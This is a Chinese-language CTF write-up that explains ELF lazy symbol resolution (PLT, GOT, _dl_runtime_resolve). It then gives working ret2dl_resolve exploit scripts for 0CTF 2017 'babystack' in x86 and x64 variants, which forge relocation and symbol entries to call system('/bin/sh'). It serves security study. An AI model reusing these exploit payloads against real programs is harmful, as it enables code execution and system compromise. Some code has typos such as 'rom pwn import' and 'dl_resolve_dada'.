##### ELF对象
##### ELF动态装载器
由于静态链接的文件比较大,且多是重复使用的代码。且一次装载耗时较多;所以才有了惰性加载(运行时加载)。
ELF文件执行时根据section里的信息,动态地链接.so文件中的资源(函数、变量)。这一过程(符号解析)由动态装载器实现。
解析主要依赖于_dl_runtime_resolve函数。解析规则如图。
相关的数据结构
每个符号都是ELF_sym结构体。存在于.dynsym段。
typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym;
导入符号需要重定位支持,重定位项以ELF_Rel结构描述,存在于rel.plt段中
typedef struct { Elf32_Addr r_offset; /* Address */ Elf32_Word r_info; /* Relocation type and symbol index */ } Elf32_Rel;
解析结束后,重定位的目标(Elf_Rel的r_offset)将会是got表的一个条目,got在got.plt中,将有能够解析rel.plt重定位项的动态链接器写入。
##### 对解析read函数(第一次调用)的一次跟踪过程
gdb跟踪解析PLT
read函数未被解析时,got['read']中存的是plt['read']的第二条指令地址,所以会继续执行解析工作。
push 1操作实际是read函数符号在rel_plt的索引reloc_index;而0x4004d0地址是特殊字段PLT[0]
PLT[0]的代码会将GOT[1]入栈,并跳转至GTO[2]。
GOT[1]和GOT[2]是两个特殊字段。
GOT[1]是内部数据结构的指针,类型是link_map,在动态装载器内部使用,包含了进行符号解析需要的当前ELF对象的信息。
GOT[2]是一个指向动态装载器中_dl_runtime_resolve函数的指针。
从上面的跟踪可以看出,PLT代码执行了_dl_runtime_resolve(link_map_obj, reloc_index)的调用。
图示该函数的实现作用
.dynamic段和RELRO
##### 攻击
通过伪造整个解析过程所依赖的符号信息(相关的数据结构),就可以将我们需要的函数动态加载进某一地址。攻击示意图
这里,通过改写got[1],即link_map指向一个我们伪造得ELF_Dyn结构。在这个结构中破坏保存DT_STRTAB指针的l_info域。它的值被设成一个伪造的动态条目的地址,那里指向了一个位于.bss段中的假的动态字符串表。
##### x86 0Ctf 2017 babystack
无输出函数,不知道libc版本。。
ret2dl_resolve方法解决
首先根据上图的流程手动模拟,找到"read"函数。
代码模拟——借助于栈迁移,将stack迁移到.bss。
#rop information read_plt = 0x08048300 bss_buf = 0x0804A020 leave_ret = 0x08048455 pop_3_ret = 0x080484e9 # pop esi ; pop edi ; pop ebp ; ret pop_ebp_ret = 0x080484eb # pop ebp ; ret #stack poivt and read(0, bss, 0x1000) payload = 'a'*0x28 payload += p32(bss_buf) #ebp ==> bss_buf payload += p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss_buf) + p32(0x36) p.send(payload) dbg() stack_size = 0x800 control_base = bss_buf + stack_size payload = 'a'*0x4 #read(0, bss_buf = ebp, 0x1000), while ebp+4 is ret_addr payload += p32(read_plt) + p32(pop_3_ret) + p32(0) + p32(control_base) + p32(0x1000) payload += p32(pop_ebp_ret) + p32(control_base) #ebp = control_base, so ret_addr is at control_base+4 which is plt_0 payload += p32(leave_ret) p.send(payload)
伪造相关数据结构
#elf information rel_plt = 0x80482b0 jmptab = 0x80482b0 dynsym = 0x080481cc symtab = 0x080481cc dynstr = 0x0804822c strtab = 0x0804822c #fake information alarm_got = elf.got['alarm'] fake_sym_addr = control_base + 0x24 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) fake_sym_addr += align index_sym = (fake_sym_addr - dynsym) / 0x10 r_info = index_sym << 8 | 7 fake_reloc=p32(alarm_got)+p32(r_info) # reloc fake alarm->system st_name=fake_sym_addr+0x10-dynstr fake_sym=p32(st_name)+p32(0)+p32(0)+p32(0x12) plt_0 = 0x080482F0 index_offset = (control_base + 0x1c) - rel_plt #plt_i索引
栈布置
其中通过导向执行PLT0,这里的参数很好理解。但是被解析函数的参数的位置怎么确定呢?在执行PLT0代码是,栈上的参数分布如下
其他的结构都是伪造的布置在栈上,只要前后一致就没有问题。
```python
payload += p32(plt_0) #push link_map; jmp dl_runtime_resolve.
payload += p32(index_offset) #push idx
payload += 'a'*4
payload += p32(control_base + 0x50) #参数地址
payload += 'a'*8
payload += fake_reloc #control_base + 0x1c
payload += 'b'*8
payload += fake_sym #control_base + 0x24
payload += 'system\x00'
payload = payload.ljust(0x50, 'a')
payload += cmd #被解析函数的参数位置
payload = payload.ljust(0x64, 'a')
```
可以看到还是很麻烦的,利用工具roputils可以简化该过程。
rom pwn import *
import sys
sys.path.append("/home/tree/pwntools/roputils")
import roputils
import time
#coding:utf-8
offset = 0x2c
readplt = 0x08048300
bss = 0x0804a020
vulFunc = 0x0804843B
p = process('./babystack')
# p = remote('202.120.7.202', 6666)
# context.log_level = 'debug'
rop = roputils.ROP('./babystack')
addr_bss = rop.section('.bss')
# step1 : write sh & resolve struct to bss
buf1 = 'A' * offset #44
buf1 += p32(readplt) + p32(vulFunc) + p32(0) + p32(addr_bss) + p32(100)
p.send(buf1)
buf2 = rop.string('/bin/sh')
buf2 += rop.fill(20, buf2)
buf2 += rop.dl_resolve_data(addr_bss+20, 'system') #address for func, and name for func
buf2 += rop.fill(100, buf2)
p.send(buf2)
#step2 : use dl_resolve_call get system & system('/bin/sh')
buf3 = 'A'*44 + rop.dl_resolve_call(addr_bss+20, addr_bss) #address for func and args for func
p.send(buf3)
p.interactive()
##### x64
多了两个结构体。rela.plt和Sym
同时r_offset不在直接寻址,而是作为rel.plt的索引。
同时需要link_mmap设置为0(先泄露link_mmap_addr)
利用roputils实现
```python
#!/usr/bin/python
# -- coding: utf-8 --
import sys
sys.path.append("/home/tree/pwntools/roputils")
from roputils import *
fpath = './ret2dl64'
offset = 0x28
rop = ROP(fpath)
addr_bss = rop.section('.bss')
read_plt = rop.plt('read')
read_got = rop.got('read')
p = Proc(fpath)
payload = rop.retfill(offset)
payload += rop.call(read_plt, 0, addr_bss, 0x100)
payload += rop.dl_resolve_call(addr_bss+0x20, addr_bss) #link mmap地址,参数地址
p.write(payload)
payload = rop.string("/bin/sh\x00")
payload += rop.fill(0x20, payload)
payload += rop.dl_resolve_dada(addr_bss + 0x20, 'system') #link mmap 地址, 函数名
payload += rop.fill(0x100, payload)
p.write(payload)
p.interact(0)
```
##### 参考链接